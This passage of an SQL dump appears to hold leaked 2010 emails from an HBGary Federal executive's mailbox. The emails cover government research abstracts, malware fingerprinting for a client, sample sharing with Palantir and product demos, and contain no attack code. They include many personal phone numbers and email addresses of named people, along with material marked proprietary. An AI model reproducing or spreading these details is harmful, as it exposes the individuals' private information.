on\r\ngetting Tawny hired.  She submitted her resume online, but hasn\'t been\r\ncontacted yet.  Try to push to get her interviewed and hired ASAP.\r\n',8336,'aaron_hbgary_com/8336.html'),(11922,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008892.M646862P14101Q6778.eml','\"Barr Aaron\" <aaron@hbgary.com>','abstract','-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',11120,'aaron_hbgary_com/11120.html'),(11923,'2010-09-17','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008892.M82906P14101Q6777.eml','\"Inc. HBGARY\" <All@hbgary.com>','Contact Info LAST ONE','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSerge brought it my attention that 2 cell numbers were the\r\nsame.&nbsp; All have been corrected now.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7028,'aaron_hbgary_com/7028.html'),(11924,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008893.M682205P14101Q6779.eml','\"Barr Aaron\" <aaron@hbgary.com>','GoToMeeting Invitation - Meet Now','1.  Please join my meeting.\r\nhttps://www1.gotomeeting.com/join/992873457\r\n\r\n2.  Use your microphone and speakers (VoIP) - a headset is\r\nrecommended. Or, call in using your telephone.\r\n\r\nDial 213-289-0014\r\nAccess Code: 992-873-457\r\nAudio PIN: Shown after joining the meeting\r\n\r\nMeeting ID: 992-873-457\r\n\r\nGoToMeeting®\r\nOnline Meetings Made Easy™\r\n',4465,'aaron_hbgary_com/4465.html'),(11925,'2010-09-17','\"Edward J Baranoski\" <edward.j.baranoski@ugov.gov>','/aaron@hbgary.com/new/1297008893.M889133P14101Q6780.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Abstract for IARPA-BAA-10-09','Aaron,\r\n\r\nThe topic area is of interest, although I expect the devil is in the details.  The next step  would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn\'t need a seedling).  We do require that a proposal identify the key questions and how they will be addressed during the seedling.\r\n\r\nHere are sample questions I have regarding the approach you propose:\r\n\r\n1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.).  Where do we think we are now, and where might these ideas take us (and why)?  \r\n\r\n2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results?  How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)?  \r\n\r\n4. What is the dimensionality of the feature space?  Are the number of variables resolvable within the likely dimensionality of the feature space?  I am thinking in pattern recognition terms.  For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.\r\n\r\n3. How are uncertainties parsed over the solution space?  For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?\r\n\r\n4. Figure 1 is not really explained, so I don\'t know what it is supporting.\r\n\r\n-Ed\r\n\r\n\r\n----- Original Message -----\r\nFrom: \"Aaron Barr\" \r\nTo: \"edward j baranoski\" \r\nCc: \"Ted Vera\" \r\nSent: Tuesday, September 14, 2010 9:41:47 PM\r\nSubject: HBGary Abstract for IARPA-BAA-10-09\r\n\r\nEd,\r\n\r\nAttached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\n\r\nAaron\r\n\r\n',13569,'aaron_hbgary_com/13569.html'),(11926,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008895.M829390P14101Q6781.eml','DARPA-BAA-10-84@darpa.mil,DARPA-BAA-10-84@darpa.mil','DARPA-BAA-10-84 HBGary Abstract','Please find attached HBGary\'s Abstract in response to DARPA-BAA-10-84.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3625,'aaron_hbgary_com/3625.html'),(11927,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008896.M128345P14101Q6782.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Your DAPRA-BAA-10-84 abstract has been received','---------- Forwarded message ----------\r\nFrom: DARPA-BAA-10-84 \r\nDate: Fri, Sep 17, 2010 at 2:15 PM\r\nSubject: RE: Your DAPRA-BAA-10-84 abstract has been received\r\nTo:\r\nCc: DARPA-BAA-10-84 \r\n\r\n\r\nHello,\r\n\r\nThis is an official confirmation that your abstract(s), submitted\r\nagainst DAPRA-BAA-10-84, has been received. Our goal is to provide you\r\nwith feedback within 2 weeks. Thank you for your participation.\r\n\r\nPlease feel free to contact us with any questions.\r\n\r\nRegards,\r\nThe DARPA-BAA-10-84 Team\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',14668,'aaron_hbgary_com/14668.html'),(11928,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008896.M355149P14101Q6783.eml','\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>,\"Hibbeln, Brian, Mr, OSD-ATL\" <Brian.Hibbeln@osd.mil>','Re: Disney/Pixar and Skunk Baxter','Thank You Brian.\r\n\r\nDr. Haseltine I would like to have a creative/technical discussion\r\nregarding some capabilities we are building when you have an\r\nopportunity.\r\n\r\nAaron\r\nCEO\r\nHBGary Federal\r\n719.510.8478\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 17, 2010, at 4:10 PM, \"Hibbeln, Brian, Mr, OSD-ATL\"\r\n wrote:\r\n\r\n> Aaron,\r\n>   Actually Dr. Haseltine is my best contact with them.  Here is his e-mail.  You two will get along well.\r\n>\r\n>\r\n> Thanks,  Brian\r\n>\r\n> Mr. Brian Hibbeln\r\n>\r\n> Voice: 703 746-1200\r\n> Pager: 877 351-2519\r\n> Grey / NSTS: 984-8201\r\n>\r\n>\r\n>\r\n> -------------------------------\r\n> Sent from my BlackBerry Wireless Handheld\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Hibbeln, Brian, Mr, OSD-ATL\r\n> Sent: Fri Sep 17 13:34:06 2010\r\n> Subject: Disney/Pixar and Skunk Baxter\r\n>\r\n> Hi Brian,\r\n>\r\n> Do either you or skunk have a contact at Disney/pixar?  I am working on some of the creative things we discussed in your office and would really like to add them to our advisory group.\r\n>\r\n> Thanks\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',8403,'aaron_hbgary_com/8403.html'),(11929,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008896.M590291P14101Q6784.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Bob: What was promised to QinetiQ','---------- Forwarded message ----------\r\nFrom: Phil Wallisch \r\nDate: Fri, Sep 17, 2010 at 9:02 AM\r\nSubject: Bob: What was promised to QinetiQ\r\nTo: Bob Slapnik \r\nCc: Rich Cummings , \"Penny C. Leavy\"\r\n, Greg Hoglund , Ted Vera\r\n\r\n\r\n\r\nBob,\r\n\r\nI am asking that you take lead on the task I\'m about to describe.\r\nMatt Anglin says that during the Cyveillance engagement Rich and Spohn\r\npromised him threat actor data related to this current group of\r\nattackers.  I have no such data.  I\'m not talking about a string dump\r\nof iprinp.dll but actual methodologies and capabilities.  Considering\r\nI don\'t know what group this is in the first place I fail to see how I\r\ncan provide accurate information as to their procedures.\r\n\r\nIn the interim I have asked Ted to do as much fingerprint work as he\r\ncan on the recovered malware.  At the very least we can present Matt\r\nwith something related to this incident that describes malware\r\nsimilarities.\r\n\r\nBut Bob I\'m asking that you find out exactly what was promised by the\r\nHBGary team and then we have to either set Matt straight, deliver what\r\nwe promised, deliver something similar, or tell him we cannot deliver.\r\n--\r\nPhil Wallisch | Principal Consultant | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\nhttps://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3115,'aaron_hbgary_com/3115.html'),(11930,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008896.M888511P14101Q6785.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Green Eggs Mitigation Study #13 - Forensics - Lockheed Martin Proprietary Information','FYI -- We submitted an abstract teamed with Northrop Grumman\r\nElectronic Systems Xetron last week for this Study.  Today we received\r\nnotification that our abstract was one of five selected to follow-up\r\nwith a formal proposal.  Aaron is flying to Cincinnatti Monday to\r\nwrite our section in Xetron\'s classified facility.\r\n\r\nTed\r\n\r\n\r\nFrom: \"Lentz, Jason M\" \r\nDate: September 10, 2010 2:09:56 PM EDT\r\nTo: \"Lentz, Jason M\" \r\nCc: \"Britton, Douglas C\" \r\nSubject: Green Eggs Mitigation Study #13 - Forensics - Lockheed Martin\r\nProprietary Information\r\n\r\nLockheed Martin Proprietary Information\r\nProprietary information owned by Lockheed Martin, such as business,\r\nfinancial or technical information, that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and\r\nauthorized individuals who have executed nondisclosure agreements or\r\nwho are otherwise legally bound by confidentiality obligations to\r\nLockheed Martin.\r\n\r\n.\r\n.\r\n.\r\nMessage Start:\r\n-----------------------\r\n\r\nDear UNO Suppliers,\r\n\r\n\r\n\r\nPlease see attached summary sheet for Green Eggs Mitigation Study\r\nSurvey.  If you have any questions please let me or Doug Britton know.\r\n\r\n\r\n\r\nThank you,\r\n\r\n\r\n\r\nJason M. Lentz\r\n\r\nSCA\r\n\r\nLockheed Martin, IS & GS\r\n\r\n13560 Dulles Technology Drive\r\n\r\nHerndon, VA  20171\r\n\r\n703-466-1368 office\r\n\r\n703-466-1270 Fax\r\n\r\nJason.M.Lentz@lmco.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10323,'aaron_hbgary_com/10323.html'),(11931,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008897.M376647P14101Q6786.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary Abstract for IARPA-BAA-10-09','Sent from my iPhoneBegin forwarded message:From: Edward J Baranoski &lt;edward.j.baranoski@ugov.gov&gt;\r\nDate: September 17, 2010 3:13:16 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: HBGary Abstract for IARPA-BAA-10-09\r\nAaron,The topic area is of interest, although I expect the devil is in the details.  The next step  would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn&#39;t need a seedling).  We do require that a proposal identify the key questions and how they will be addressed during the seedling.\r\nHere are sample questions I have regarding the approach you propose:1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.).  Where do we think we are now, and where might these ideas take us (and why)?  \r\n2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results?  How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)?  \r\n4. What is the dimensionality of the feature space?  Are the number of variables resolvable within the likely dimensionality of the feature space?  I am thinking in pattern recognition terms.  For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.\r\n3. How are uncertainties parsed over the solution space?  For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?\r\n4. Figure 1 is not really explained, so I don&#39;t know what it is supporting.-Ed----- Original Message -----\r\nFrom: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;To: &quot;edward j baranoski&quot; &lt;edward.j.baranoski@ugov.gov&gt;\r\nCc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Sent: Tuesday, September 14, 2010 9:41:47 PMSubject: HBGary Abstract for IARPA-BAA-10-09\r\nEd,Attached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\nAaron\r\n',11239,'aaron_hbgary_com/11239.html'),(11932,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008897.M629085P14101Q6787.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Abstract for IARPA-BAA-10-09','We&#39;re on it. Googling &quot;dimensionality&quot; for you now. On Sep 17, 2010, at 3:08 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPhoneBegin forwarded message:From: Edward J Baranoski &lt;edward.j.baranoski@ugov.gov&gt;\r\n\r\nDate: September 17, 2010 3:13:16 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;\r\nSubject: Re: HBGary Abstract for IARPA-BAA-10-09\r\nAaron,The topic area is of interest, although I expect the devil is in the details.  The next step  would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn&#39;t need a seedling).  We do require that a proposal identify the key questions and how they will be addressed during the seedling.\r\n\r\nHere are sample questions I have regarding the approach you propose:1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.).  Where do we think we are now, and where might these ideas take us (and why)?  \r\n\r\n2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results?  How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)?  \r\n\r\n4. What is the dimensionality of the feature space?  Are the number of variables resolvable within the likely dimensionality of the feature space?  I am thinking in pattern recognition terms.  For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.\r\n\r\n3. How are uncertainties parsed over the solution space?  For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?\r\n\r\n4. Figure 1 is not really explained, so I don&#39;t know what it is supporting.-Ed----- Original Message -----\r\n\r\nFrom: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;To: &quot;edward j baranoski&quot; &lt;edward.j.baranoski@ugov.gov&gt;\r\n\r\nCc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Sent: Tuesday, September 14, 2010 9:41:47 PMSubject: HBGary Abstract for IARPA-BAA-10-09\r\n\r\nEd,Attached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\n\r\nAaron\r\n\r\n',5030,'aaron_hbgary_com/5030.html'),(11933,'2010-09-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008897.M957137P14101Q6788.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: HBGary Abstract for IARPA-BAA-10-09','Right thanks.  I needTo bone up on my research words.Sent from my iPhoneOn Sep 17, 2010, at 5:13 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWe&#39;re on it. Googling &quot;dimensionality&quot; for you now. On Sep 17, 2010, at 3:08 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSent from my iPhoneBegin forwarded message:From: Edward J Baranoski &lt;edward.j.baranoski@ugov.gov&gt;\r\n\r\n\r\nDate: September 17, 2010 3:13:16 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\nSubject: Re: HBGary Abstract for IARPA-BAA-10-09\r\nAaron,The topic area is of interest, although I expect the devil is in the details.  The next step  would need to lay out a more structured path to address the technical challenges before submitting a full proposal. We are not expecting a abstract or proposal to have answers to all possible questions (if it did, we wouldn&#39;t need a seedling).  We do require that a proposal identify the key questions and how they will be addressed during the seedling.\r\n\r\n\r\nHere are sample questions I have regarding the approach you propose:1. What is the best metric to quantify overall performance (e.g., ROC curves, SNR, confusion matrices, etc.).  Where do we think we are now, and where might these ideas take us (and why)?  \r\n\r\n\r\n2. Can you say anything about how you would score likelihoods, and the parameter spaces over which you need to quantify results?  How many samples of code are needed to train such algorithms, and how does performance statistically vary over relevant parameters (e.g., number of codes samples, code size, library/language/compiler dependencies, etc.)?  \r\n\r\n\r\n4. What is the dimensionality of the feature space?  Are the number of variables resolvable within the likely dimensionality of the feature space?  I am thinking in pattern recognition terms.  For example, if you have two classes with a reasonable distribution, they may be easily resolvable in a two dimensional space; however, 100 similar distributions in the same space would likely be heavily overlapping and far less resolvable.\r\n\r\n\r\n3. How are uncertainties parsed over the solution space?  For example, if 80% of the code is borrowed from another developer, but the remaining 20% belongs to a developer of potential interest, how do you quantify that uncertainty?\r\n\r\n\r\n4. Figure 1 is not really explained, so I don&#39;t know what it is supporting.-Ed----- Original Message -----\r\n\r\n\r\nFrom: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;To: &quot;edward j baranoski&quot; &lt;edward.j.baranoski@ugov.gov&gt;\r\n\r\n\r\nCc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Sent: Tuesday, September 14, 2010 9:41:47 PM\r\nSubject: HBGary Abstract for IARPA-BAA-10-09\r\n\r\nEd,Attached is an abstract at a high level describing our approach to attribution.  I look forward to your comments and thoughts on the value of this approach.\r\n\r\n\r\nAaron\r\n\r\n\r\n',1280,'aaron_hbgary_com/1280.html'),(11934,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008898.M235846P14101Q6789.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Abstract for IARPA-BAA-10-09','lol\r\n\r\nOn Fri, Sep 17, 2010 at 3:35 PM, Aaron Barr  wrote:\r\n> Right thanks.  I need\r\n> To bone up on my research words.\r\n>\r\n> Sent from my iPhone\r\n> On Sep 17, 2010, at 5:13 PM, Ted Vera  wrote:\r\n>\r\n>\r\n> We\'re on it. Googling \"dimensionality\" for you now.\r\n>\r\n>\r\n> On Sep 17, 2010, at 3:08 PM, Aaron Barr  wrote:\r\n>\r\n>\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: Edward J Baranoski \r\n> Date: September 17, 2010 3:13:16 PM EDT\r\n> To: Aaron Barr \r\n> Cc: Ted Vera \r\n> Subject: Re: HBGary Abstract for IARPA-BAA-10-09\r\n>\r\n> Aaron,\r\n>\r\n> The topic area is of interest, although I expect the devil is in the\r\n> details.  The next step  would need to lay out a more structured path to\r\n> address the technical challenges before submitting a full proposal. We are\r\n> not expecting a abstract or proposal to have answers to all possible\r\n> questions (if it did, we wouldn\'t need a seedling).  We do require that a\r\n> proposal identify the key questions and how they will be addressed during\r\n> the seedling.\r\n>\r\n> Here are sample questions I have regarding the approach you propose:\r\n>\r\n> 1. What is the best metric to quantify overall performance (e.g., ROC\r\n> curves, SNR, confusion matrices, etc.).  Where do we think we are now, and\r\n> where might these ideas take us (and why)?\r\n>\r\n> 2. Can you say anything about how you would score likelihoods, and the\r\n> parameter spaces over which you need to quantify results?  How many samples\r\n> of code are needed to train such algorithms, and how does performance\r\n> statistically vary over relevant parameters (e.g., number of codes samples,\r\n> code size, library/language/compiler dependencies, etc.)?\r\n>\r\n> 4. What is the dimensionality of the feature space?  Are the number of\r\n> variables resolvable within the likely dimensionality of the feature space?\r\n>  I am thinking in pattern recognition terms.  For example, if you have two\r\n> classes with a reasonable distribution, they may be easily resolvable in a\r\n> two dimensional space; however, 100 similar distributions in the same space\r\n> would likely be heavily overlapping and far less resolvable.\r\n>\r\n> 3. How are uncertainties parsed over the solution space?  For example, if\r\n> 80% of the code is borrowed from another developer, but the remaining 20%\r\n> belongs to a developer of potential interest, how do you quantify that\r\n> uncertainty?\r\n>\r\n> 4. Figure 1 is not really explained, so I don\'t know what it is supporting.\r\n>\r\n> -Ed\r\n>\r\n>\r\n> ----- Original Message -----\r\n> From: \"Aaron Barr\" \r\n> To: \"edward j baranoski\" \r\n> Cc: \"Ted Vera\" \r\n> Sent: Tuesday, September 14, 2010 9:41:47 PM\r\n> Subject: HBGary Abstract for IARPA-BAA-10-09\r\n>\r\n> Ed,\r\n>\r\n> Attached is an abstract at a high level describing our approach to\r\n> attribution.  I look forward to your comments and thoughts on the value of\r\n> this approach.\r\n>\r\n> Aaron\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16041,'aaron_hbgary_com/16041.html'),(11935,'2010-09-17','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008898.M434684P14101Q6790.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','Re: Fingerprint','Thanks Ted.  I&#39;ll review shortly.On Fri, Sep 17, 2010 at 11:59 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nI was able to extract all the files and ran FP.exe.  The output files\r\nare in Malware_Samples/Fingerprint\r\n\r\nFPout.txt\r\nscan_history.xml\r\n\r\nTed\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',1436,'aaron_hbgary_com/1436.html'),(11936,'2010-09-17','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008899.M109647P14101Q6791.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,','Malware presentation at Palantir GovCon','Hi Aaron,\r\n\r\nAttached are some known APT samples from an ongoing investigation.\r\nPlease add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n\r\nHope you have a nice weekend!\r\nTed\r\n',7436,'aaron_hbgary_com/7436.html'),(11937,'2010-09-17','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1297008899.M396450P14101Q6792.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Social Media, Exploitation, and Persistent Internet Operations','v\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\nBob - I&#8217;m fine with either approach.&nbsp;Dave &#8211; Your call&#8230;&nbsp;Cheers,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From: Bob Slapnik [mailto:bob@hbgary.com] Sent: Thursday, September 16, 2010 3:00 PMTo: \'Aaron Barr\'; nolan@informationsecuritysolutionsllc.comCc: \'David C. McGuffey\'; \'Rich Cummings\'; \'Blake Darche\'; \'Ted Vera\'Subject: RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan and David,&nbsp;Given that it will take about a month for TMC to be ready, should we schedule a meeting in the interim to show Active Defense, Digital DNA and Responder Pro?&nbsp; These are all readily available commercial products.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp; bob@hbgary.com&nbsp;&nbsp;&nbsp;From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, September 16, 2010 11:24 AMTo: nolan@informationsecuritysolutionsllc.comCc: Bob Slapnik; David C. McGuffey; Rich Cummings; Blake Darche; Ted VeraSubject: Re: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Hey Nolan,&nbsp;The delay in the TMC is we are rewriting some areas that work but need more stability and at the same time we are adding some new functionality. &nbsp;In less than 30 days we will have the ability to submit malware and generate detailed reports with DDNA scoring, query the malware database for specific markers or signatures, and pull fingerprinting data based on key environmental variables, which allows you to pull up clusters of related malware. &nbsp;Past 30 days we are working on integrating Palantir as part of the front end so you can map and analyze more effectively. &nbsp;In addition we are building social media collectors/scrapers and will be adding that data as well. &nbsp;We have talked with US-CERT, FBI Cyber Division, and IARPA about this capability and so far have met with very good feedback on the direction and potential benefit to their organizations.&nbsp;When we get closer to the end of the first dev cycle we will let you know and set up a demo.&nbsp;Aaron&nbsp;On Sep 15, 2010, at 12:05 AM, Nolan Clifford wrote:&nbsp;No worries Bob, we can reschedule. This is a super busy week for us on the program anyway.Thanks,Nolan703-945-7480 Sent via BlackBerry by AT&amp;TFrom:&nbsp;&quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;Date:&nbsp;Wed, 15 Sep 2010 00:03:21 -0400To:&nbsp;&lt;nolan@informationsecuritysolutionsllc.com&gt;; \'McGuffey, David C.\'&lt;DAVID.C.MCGUFFEY@saic.com&gt;; \'Rich Cummings\'&lt;rich@hbgary.com&gt;Cc:&nbsp;\'Blake Darche\'&lt;blake.darche@informationsecuritysolutionsllc.com&gt;; \'Ted Vera\'&lt;ted@hbgary.com&gt;; \'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan,&nbsp;Thanks for the reminder.&nbsp; I&#8217;ve been immersed in proposal writing since Sunday morning and my mind has been preoccupied.&nbsp; I had lined up Ted Vera to do the demo via webex because I wanted him to show you the new Threat Management Center.&nbsp; As of last Wednesday they were still tweaking TMC and weren&#8217;t sure if they would have it ready by this Wednesday.&nbsp; If you need to see TMC then we may want to reschedule.&nbsp; If all you want to see is Active Defense, Digital DNA and Responder, then I can ask Rich or Ted to do the demo.&nbsp; Let&#8217;s touch base Wednesday morning to see if we are still on.&nbsp; My apology for being distracted.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Tuesday, September 14, 2010 10:37 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Are we still on for tomorrow at 10 or should we reschedule?&nbsp;Thanks,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Nolan Clifford [mailto:nolan@informationsecuritysolutionsllc.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 4:01 PMTo:&nbsp;\'Bob Slapnik\'; \'McGuffey, David C.\'; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Bob,&nbsp;We would do the demo here in the same room most likely. That date and time works fine for me, thanks.&nbsp;Best,Nolan&nbsp;&nbsp;Nolan Clifford, CISSP, CFCPCEO, Information Security Solutionswww.informationsecuritysolutionsllc.com703-945-7480 &#8211;Blackberry703-869-7396 &#8211; Mobile&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, September 07, 2010 2:01 PMTo:&nbsp;\'McGuffey, David C.\';&nbsp;nolan@informationsecuritysolutionsllc.com; \'Rich Cummings\'Cc:&nbsp;\'Blake Darche\'Subject:&nbsp;RE: Social Media, Exploitation, and Persistent Internet Operations&nbsp;Nolan 